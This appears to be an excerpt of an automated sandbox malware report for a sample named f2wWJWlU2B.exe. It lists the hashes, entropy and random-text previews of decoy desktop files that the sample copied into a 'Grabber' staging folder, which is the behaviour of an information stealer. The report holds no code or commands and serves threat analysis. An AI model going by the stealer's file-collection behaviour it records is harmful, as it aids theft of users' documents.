Preview:	VAMYDFPUNDEKDDABFYGQUEJPDEJQRXUZJGWCCCFXBISLBAZPZFZUOPASIBSPZLUDDUPRUHUUIJHOSYOAZNPTVHZSOVZRGZOUKAQEHTNLFNGLYDYUCGZPLLLOEHMTCCHZKQTFZGYFXUPESPRXRPJCGBDDSERLKFESFYUBNGVYLYUPKGUHNHSJITKDYFMCKPMQIQVZAFMCKDCYROFZHMGJMQRWYUHYHVRTNVUYOJXTDHGZTNEIQMQCBZXDPFJFNGRNBVMQWFGMLOWQCFSJCOQJGHEUOCLNTWHNHAGOTODKZYNINGMKGKTSEOLBKYRISYDHZOZINVXDDFVINOGNYWBEAYTTXSMSWAEGHZLSECWGHVUJJVTTQREREZKVNURFBXKMFFSJVVWOEKHLPTCOWUJHWSDFUKDNLAGSWYUGJMRJXXQRDDRLFRUUNRAXNLOUYXFWKVJGUQJJHPLTQELSOSFVIKIJHQPVLNQGQRDFLHUOUWYTAHHQSFZQBHLQJWUJVJPUBUAQTFOTVGLOZARCSHXCGYQYIDNDEHNFGLALSEIYWKOMVZTQBJZGRBJPSSWZPZKRLWDCYXTKIVIEXXRVZGNCFGSOUZLWFLDVXTEBFKTOHHOOJYSVZPFZXBJVQSOAXJEZIKYMAJHZMJPCAITWVFULTXNZLTXOUQONILVMPIEJGACXWGOEWJOJBLQJHQVHEYUQGLOZPDZOSSPVSZDXLGREZBQIVSASMXXLOQBKYWGPWRRHSSMYHGWBDFPDMXUISJUJUHAMPPRVABJXFEHOJLFPPRVMCBCSXCBNPGOOXIZIQFZDERGWQTALQWJYKPHMFIFYATLSCGMSHBWQYFHEGZQGQPMOIIHVVZQXVAUPPNJCVRKBVFXELRZEQZPLXOQQSXNGDZEGAJZDGSCYSLPQBSDTSQNIRNOZGTIBFJTEPZSUWIUBLEIVPBBHHLLIQQIUIIUARIYFPPNOAZPLXJGSPZJIXJTYLKJEEICOIZEUUYWP

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\CURQNKVOIX.pdf

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688505748329201
Encrypted:	false
SSDEEP:	24:fOpwMLhSm1UbWgtD1i0Sn1EcsITViZiFeEaf:gLhSGqP1vSn11l8ceTf
MD5:	E791BC4BB488A2AE526214AB2CCF03F0
SHA1:	FEBDEFE4D61586EE877A369BB31B4B92B19D5E2D
SHA-256:	4EFC0B5E75E9B1A642F3BC4FACAE7C8F8C77DFAD5F6C0F3F2C807B3654576616
SHA-512:	61EF6F62E86F65DA2E7CC9821DA2AD669C4AD62275A044153BCE247AB2FCCC938B7EB57C46099AB4A84909CEC5104FF5B95D12161C3D7AA353B79647122C15BB
Malicious:	false
Preview:	CURQNKVOIXHCBQTSXQTLVFUQNXQHHCWYVOGQUFVROSMMUONAUKUVELZWAMQGAGYEFMWBMUVKBAZCJASDGVTNFSHXHAPKEOWREALSYDMQPTJCKDQQZDNAPQIKAIKYDUXQDSIUJTIPCNAAPMQGBGORBBNYWTYRCODCKULTLKEDUVEVKYPTDPYWDHCCBFECLXTAHWTXYPAZBSUTWHNQPXUDZWAFEXNNPHGXWELAOZZREMNKMEKGTYGDHHUPJBMUOYYXAJRRWPIQWIEPWHTLVXJLPGWKHKFXPDTYKJNXBLYYCPPFYQHGBFNFBWUMKZVGJIAVXIXSEBJLYUYIFUDPWOVTOOTBWQNFVWLEYTFZYMTVZTCXTNNOBULSEYPLNAUCUUXLNZYIOCYYDRCXSVNBKUELOGHSLSPEKWUKINGRPMAGAJOPDOAGHPUAWUEWUGLAMOKASQCGYIJJNOEPUMCDLGYXGDJZABOLHJPLTUZIRBYLLYXROOEMOQWYXXOAXTWHXGMBRZIHEQPGICIJAOUSIKAJLZMEYDYWOFIVZEOLJQJXJLMMENDALUSENORVPGKLPBGAOQTNXCQSBECDXXCUNXHQLIPKOPVIETEIHHAZEFGOVYXJDBAQKQLDPIRHULNGBRDMBBZUKYVYIMBYVBNOIAKOFSHELZEVHLIYEWGVJXILTMZMBNWYJQUHFWZYDKPGFHJSRFOPTSUPYFZPRAIHCOAERERYGBLWLZZXLVAABEELDQELBYYROYSDLAWBIXRDKWLSLZQHNQYXERTVTNXGSHYGJOFVZISVKALMEBXVVOOXWYXSEINIZOTUVHTHDUHOJYJHLRGMSQXTWPSJZLTSSIKIIZPANAJSXTZAQBOKZRWBIRVFAHJIOEWMRKYMRVDYTGEWXHCWSRYRIGQHBYXEUXHZUSULJVNSYTNQRKAFOOQPRHBAAWVXLENJLGFYHTWUFVYSQDBXKEFYRPMBGBHQLJSVGLYIZQREICHIHYUTGCEP

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\CURQNKVOIX.xlsx

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688505748329201
Encrypted:	false
SSDEEP:	24:fOpwMLhSm1UbWgtD1i0Sn1EcsITViZiFeEaf:gLhSGqP1vSn11l8ceTf
MD5:	E791BC4BB488A2AE526214AB2CCF03F0
SHA1:	FEBDEFE4D61586EE877A369BB31B4B92B19D5E2D
SHA-256:	4EFC0B5E75E9B1A642F3BC4FACAE7C8F8C77DFAD5F6C0F3F2C807B3654576616
SHA-512:	61EF6F62E86F65DA2E7CC9821DA2AD669C4AD62275A044153BCE247AB2FCCC938B7EB57C46099AB4A84909CEC5104FF5B95D12161C3D7AA353B79647122C15BB
Malicious:	false
Preview:	CURQNKVOIXHCBQTSXQTLVFUQNXQHHCWYVOGQUFVROSMMUONAUKUVELZWAMQGAGYEFMWBMUVKBAZCJASDGVTNFSHXHAPKEOWREALSYDMQPTJCKDQQZDNAPQIKAIKYDUXQDSIUJTIPCNAAPMQGBGORBBNYWTYRCODCKULTLKEDUVEVKYPTDPYWDHCCBFECLXTAHWTXYPAZBSUTWHNQPXUDZWAFEXNNPHGXWELAOZZREMNKMEKGTYGDHHUPJBMUOYYXAJRRWPIQWIEPWHTLVXJLPGWKHKFXPDTYKJNXBLYYCPPFYQHGBFNFBWUMKZVGJIAVXIXSEBJLYUYIFUDPWOVTOOTBWQNFVWLEYTFZYMTVZTCXTNNOBULSEYPLNAUCUUXLNZYIOCYYDRCXSVNBKUELOGHSLSPEKWUKINGRPMAGAJOPDOAGHPUAWUEWUGLAMOKASQCGYIJJNOEPUMCDLGYXGDJZABOLHJPLTUZIRBYLLYXROOEMOQWYXXOAXTWHXGMBRZIHEQPGICIJAOUSIKAJLZMEYDYWOFIVZEOLJQJXJLMMENDALUSENORVPGKLPBGAOQTNXCQSBECDXXCUNXHQLIPKOPVIETEIHHAZEFGOVYXJDBAQKQLDPIRHULNGBRDMBBZUKYVYIMBYVBNOIAKOFSHELZEVHLIYEWGVJXILTMZMBNWYJQUHFWZYDKPGFHJSRFOPTSUPYFZPRAIHCOAERERYGBLWLZZXLVAABEELDQELBYYROYSDLAWBIXRDKWLSLZQHNQYXERTVTNXGSHYGJOFVZISVKALMEBXVVOOXWYXSEINIZOTUVHTHDUHOJYJHLRGMSQXTWPSJZLTSSIKIIZPANAJSXTZAQBOKZRWBIRVFAHJIOEWMRKYMRVDYTGEWXHCWSRYRIGQHBYXEUXHZUSULJVNSYTNQRKAFOOQPRHBAAWVXLENJLGFYHTWUFVYSQDBXKEFYRPMBGBHQLJSVGLYIZQREICHIHYUTGCEP

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\FENIVHOIKN.png

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\JSDNGYCOWY.docx

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690895772725941
Encrypted:	false
SSDEEP:	24:ZTWQe0oC6OG/K8Vsypd0HuXw0xVfU/Vzv98UU:ZTWQr2VyXysHIwcGKUU
MD5:	A002E80B55673139253599B753BDC01A
SHA1:	6AEEF831A5AAB9155AAABB52D173859E20A86932
SHA-256:	F3484FA4E615D7134AC1BF4C3355C6AD63B32AC3CD096345C5EBF6B0CE6669A0
SHA-512:	D4A9257255BA4610E904C005F6734E65D5B0B4489E645792F3AB52AFD59B4B76E4B0FCE1F3457D7E5D3DA3101DAAC80A926FA513B77DAB01F2DAC5F5C4304CA7
Malicious:	false
Preview:	JSDNGYCOWYHKSOWFGCIERRTFYJMLBLSAMTEZRBUWFRXYICIUHZNIMVLJXTFXQNXACRFWSEWJBERQHLEBPYXRECCWDJKIIOUGNYQMGAHSLOPLLALAEDDKJTOOCDGYIBOWZZREIEWSXQRGULZIXFYNIUMNTNALWVABHVLKEJLBKGOKXZWDSWRTTLTQLNTZDYMSECYMQISNCNIAJOWDCCMHWLIVFACQKZXXZJOSENBJHZELIVOCAHDNZGZILFSILTSAJXDBFAIPHVHXYHJHVMVHKVOMYOGGVIKVJUVYLDFTICBCZKSVRDRTALSXFNMCPLGOGSEBKXSHSHVDVDKWEHNIBLPTMWICAACVFWPQNIUVLFSAWPOGDJFOGTXDHMTFWREVZXCABJCKFYXJGAHKTXNFLIILTMBRTKACTMOVDBLCVYDVLNCDXAAINTGCCRZPDTOFCWZWTHLCVGRTQPEBHUFYWLTLNUIOFLOUTCINZEJUVLTZPPDBVDEELCGFQSGJPRJBEALQLZQAYAQRUTUANCYUZJENWEIISDNULLJXJUPBQHEJEUVMKMEUQRDHXPAZVIFDUGNWXKXYWIQQNJNRMYCLJLHWESVCNCQSXILKRQFSYEDZSBHSLAYIWWOVRVVSWUFEAQPMAPAKFCXFBDIPKHPSFGVOJCEEBALPVQKECBBUCTQGQXOQAPOOYAPYQXNDLKJDRFQDILPIWRGDYTFUHSZLJICMMUSSHGHNLKNEDYXJSPECVTAEQTVXATOODAVROWNAPCHDRRBHVDVWBGOSCJGDENAGFCYDIHAPBWLJNOPCQCPTSOHGQQMHEAKRBOBSEHAOMGXJVYWJGLSIQJUOMYPNZTOFVNNMRIVMHOCFZTLTEDAGEXGJXLNRLSHJQGFHIJDLJHOPPMFPYEIXPRQCTRDIYDJEHHSKFBRZMXLZJBDDOYCXQJBCBQFRXVCYCHXKGNDWEEUUKPAGVHHOXFZXZEWWCOVSFYZHILZJQQKFHCLR

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\MXPXCVPDVN.jpg

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698669844484375
Encrypted:	false
SSDEEP:	24:7mMbmx9UKbA2JHc6cqYGtPrmwXr33hecYrnpTGwrhq0Lf6iNXQp:JI68rJcqjPSwXzRecYhGKq0LLG
MD5:	4FCF725C73B93BE52C2E1CD48AC3A562
SHA1:	98118BDED7CC2397C19310A914C6CA6B39CC47DE
SHA-256:	3803B68C31F1D6091C8D35F7B737B363C99ABED15B65899869E2A5AFA443D2C4
SHA-512:	8EDB10C8C81284109073EAABDB337F2AF5428AC5A50DE4999B61792D434D099124DF2DB5B2F58E9FC6335EA2E6F474291F8726DEF293A409418CDE6E0D5D7CFC
Malicious:	false
Preview:	MXPXCVPDVNZDMRYXKAXPKZSKXQENMVJGASOKSKKVKMVTFWCKJVQUEHFJLYGAGVTAPSEFWLYDESGESNCQQMFQIJOIYCFNJODSXZOERROXNDWXBZRWZFOKQBPLORLXBDLECIGMCKVUGLWKNMZJBHPGARIQDCSYHCPUKBGABSYSPDCWIMLINBEYVYXKDRVQIRPITEAVGQTKEJGNRGJGNMXLAZZZEOVLCHVHUAHQLECFOLMZPDMGFZOZZRCUGUGQXZRQEEYVPMGAXSRCPXPOCBVPESPOAHTWHHDKCHMXTJCJJDRFYUOIUWGYDNCJXDYQFYCADMQIYTSLSIQVEMFCENTOHNQNWXMKIUOZDFCOFDXWRGCINHQCHYKQMLGTDJSTFEPKLURPPUWEFYLYEFPSNQGBKUZJQDAVMAFGFXHFNGMNUPXAYGABBOYSAPGCMGQZYDGMRINVJWRFASDKOFXOQBOCWTMIFSMCIGFJLECWNXSPKYYMZPZTTKDCIUUBZTJKBGNEDOBUUIKPGSXPUUDSIAYBARDMCGXUVFSTYNWEUHFOSOADWNJSVGVNYVPTFIEGPCWGLEJGVLKBVQHFEPYYRMGWPMKQWLBOAFFRZQRDMFIHCLMXYKGCSNXZKWIKKIILSRZRKNKBMQKPDNBOSZDCMCNAMVOVGTUYRVJHPAMTCIPJHQZLFPQNHPQQTDAETXQMKGTZQPDKQISDDHIQFGGWJPCMAAAGGRYLKNAQHJDFVXQSDDSPCOTQDHQLRMFKVLQAFIBPIEJVVBHAMXWNJDJUFWZAUYOGKLIJAKPXHFCOGJJVGZXSWYIBAKNZMMSVHMHLNHNJCCWYZMEJWSAERLVHQEHUTACSGGGRMLAWNQTJDBBGLANCZUNRXUOYFLZHFFWFLDWPBOZWIRWKAIWLBOQNNKCSLPLMPBIDNPIJQEDKYXMBPUFPZCWHQURUYJBENNRMTLHPICTOSJUUPWITJRCCXDXEHQQYLVPFNZKWXNGEGYNB

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\NEBFQQYWPS.png

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	false
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\NIKHQAIQAU.docx

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\NIKHQAIQAU.xlsx

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\NIKHQAIQAU\CURQNKVOIX.pdf

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688505748329201
Encrypted:	false
SSDEEP:	24:fOpwMLhSm1UbWgtD1i0Sn1EcsITViZiFeEaf:gLhSGqP1vSn11l8ceTf
MD5:	E791BC4BB488A2AE526214AB2CCF03F0
SHA1:	FEBDEFE4D61586EE877A369BB31B4B92B19D5E2D
SHA-256:	4EFC0B5E75E9B1A642F3BC4FACAE7C8F8C77DFAD5F6C0F3F2C807B3654576616
SHA-512:	61EF6F62E86F65DA2E7CC9821DA2AD669C4AD62275A044153BCE247AB2FCCC938B7EB57C46099AB4A84909CEC5104FF5B95D12161C3D7AA353B79647122C15BB
Malicious:	false
Preview:	CURQNKVOIXHCBQTSXQTLVFUQNXQHHCWYVOGQUFVROSMMUONAUKUVELZWAMQGAGYEFMWBMUVKBAZCJASDGVTNFSHXHAPKEOWREALSYDMQPTJCKDQQZDNAPQIKAIKYDUXQDSIUJTIPCNAAPMQGBGORBBNYWTYRCODCKULTLKEDUVEVKYPTDPYWDHCCBFECLXTAHWTXYPAZBSUTWHNQPXUDZWAFEXNNPHGXWELAOZZREMNKMEKGTYGDHHUPJBMUOYYXAJRRWPIQWIEPWHTLVXJLPGWKHKFXPDTYKJNXBLYYCPPFYQHGBFNFBWUMKZVGJIAVXIXSEBJLYUYIFUDPWOVTOOTBWQNFVWLEYTFZYMTVZTCXTNNOBULSEYPLNAUCUUXLNZYIOCYYDRCXSVNBKUELOGHSLSPEKWUKINGRPMAGAJOPDOAGHPUAWUEWUGLAMOKASQCGYIJJNOEPUMCDLGYXGDJZABOLHJPLTUZIRBYLLYXROOEMOQWYXXOAXTWHXGMBRZIHEQPGICIJAOUSIKAJLZMEYDYWOFIVZEOLJQJXJLMMENDALUSENORVPGKLPBGAOQTNXCQSBECDXXCUNXHQLIPKOPVIETEIHHAZEFGOVYXJDBAQKQLDPIRHULNGBRDMBBZUKYVYIMBYVBNOIAKOFSHELZEVHLIYEWGVJXILTMZMBNWYJQUHFWZYDKPGFHJSRFOPTSUPYFZPRAIHCOAERERYGBLWLZZXLVAABEELDQELBYYROYSDLAWBIXRDKWLSLZQHNQYXERTVTNXGSHYGJOFVZISVKALMEBXVVOOXWYXSEINIZOTUVHTHDUHOJYJHLRGMSQXTWPSJZLTSSIKIIZPANAJSXTZAQBOKZRWBIRVFAHJIOEWMRKYMRVDYTGEWXHCWSRYRIGQHBYXEUXHZUSULJVNSYTNQRKAFOOQPRHBAAWVXLENJLGFYHTWUFVYSQDBXKEFYRPMBGBHQLJSVGLYIZQREICHIHYUTGCEP

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\NIKHQAIQAU\NIKHQAIQAU.docx

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
